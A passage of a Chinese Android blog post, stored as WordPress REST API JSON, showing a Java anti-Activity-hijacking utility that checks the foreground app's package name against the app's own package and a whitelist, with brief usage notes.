{ \/\/ \u6709\u4e9b\u60c5\u51b5\u4e0b\u57285x\u7684\u624b\u673a\u4e2d\u53ef\u80fd\u83b7\u53d6\u4e0d\u5230\u5f53\u524d\u8fd0\u884c\u7684\u5305\u540d\uff0c\u6240\u4ee5\u8981\u975e\u7a7a\u5224\u65ad\n            if (runningActivityPackageName.equals(context.getPackageName())) {\n                safe = true;\n            }\n\n            \/\/ \u767d\u540d\u5355\u6bd4\u5bf9\n            for (String safePack : safePackages) {\n                if (safePack.equals(runningActivityPackageName)) {\n                    safe = true;\n                }\n            }\n        }\n        return safe;\n    }\n\n    public static String getCurrentPkgName(Context context) { \/\/5x\u7cfb\u7edf\u4ee5\u540e\u5229\u7528\u53cd\u5c04\u83b7\u53d6\u5f53\u524d\u6808\u9876activity\u7684\u5305\u540d\n        ActivityManager.RunningAppProcessInfo currentInfo = null;\n        Field field = null;\n        int START_TASK_TO_FRONT = 2;\n        String pkgName = null;\n\n        try {\n            field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField(&quot;processState&quot;); \/\/\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u8fdb\u7a0b\u72b6\u6001\u5b57\u6bb5\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n        List appList = am.getRunningAppProcesses();\n        ActivityManager.RunningAppProcessInfo app;\n\n        for (int i=0; i&lt; appList.size(); i++) {\n            \/\/ActivityManager.RunningAppProcessInfo app : appList\n            app=(RunningAppProcessInfo) appList.get(i);\n            if (app.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { \/\/\u8868\u793a\u524d\u53f0\u8fd0\u884c\u8fdb\u7a0b\n                Integer state = null;\n                try {\n                    state = field.getInt(app);\/\/\u53cd\u5c04\u8c03\u7528\u5b57\u6bb5\u503c\u7684\u65b9\u6cd5,\u83b7\u53d6\u8be5\u8fdb\u7a0b\u7684\u72b6\u6001\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n                if (state != null &amp;&amp; state == START_TASK_TO_FRONT) { \/\/\u6839\u636e\u8fd9\u4e2a\u5224\u65ad\u6761\u4ef6\u4ece\u524d\u53f0\u4e2d\u83b7\u53d6\u5f53\u524d\u5207\u6362\u7684\u8fdb\u7a0b\u5bf9\u8c61\n                    currentInfo = app;\n                    break;\n                }\n            }\n        }\n\n        if (currentInfo != null) {\n            pkgName = currentInfo.processName;\n        }\n        return pkgName;\n    }\n}<\/code><\/pre>\n<p>\u4ee3\u7801\u7684\u4f7f\u7528\u65b9\u6cd5\u4e5f\u5f88\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728Activity\u7684onStop\u4e2d\u8c03\u7528<code>boolean safe = AntiHijackingUtil.checkActivity(this);<\/code>\u5373\u53ef\u5f97\u5230\u8df3\u8f6c\u7684\u754c\u9762\u662f\u5426\u9700\u8981\u63d0\u793a\u3002\u8fd9\u91cc\u8981\u8bf4\u660e\u4e00\u4e0b<code>getCurrentPkgName()<\/code>\u5728\u6709\u4e9b5x\u624b\u673a\u4e5f\u65e0\u6cd5\u83b7\u53d6\u5f53\u524d\u8df3\u5165\u7684\u754c\u9762\u7684\u5305\u540d\uff0c\u6709\u4e86\u89e3\u7684\u8fd8\u8bf7\u63d0\u793a\u4e00\u4e0b\uff0c\u8c22\u8c22\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u603b\u7ed3 Activity\u52ab\u6301\u539f\u7406 1\u3001\u6ce8\u518c\u4e00\u4e2aReceiver\uff0c\u54cd\u5e94android.intent.action. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[61],"tags":[60],"class_list":["post-360","post","type-post","status-publish","format-standard","hentry","category-android-basic","tag-activity"],"_links":{"self":[{"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/posts\/360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/comments?post=360"}],"version-history":[{"count":0,"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/posts\/360\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/media?parent=360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/categories?post=360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.appblog.cn\/index.php\/wp-json\/wp\/v2\/tags?post=360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}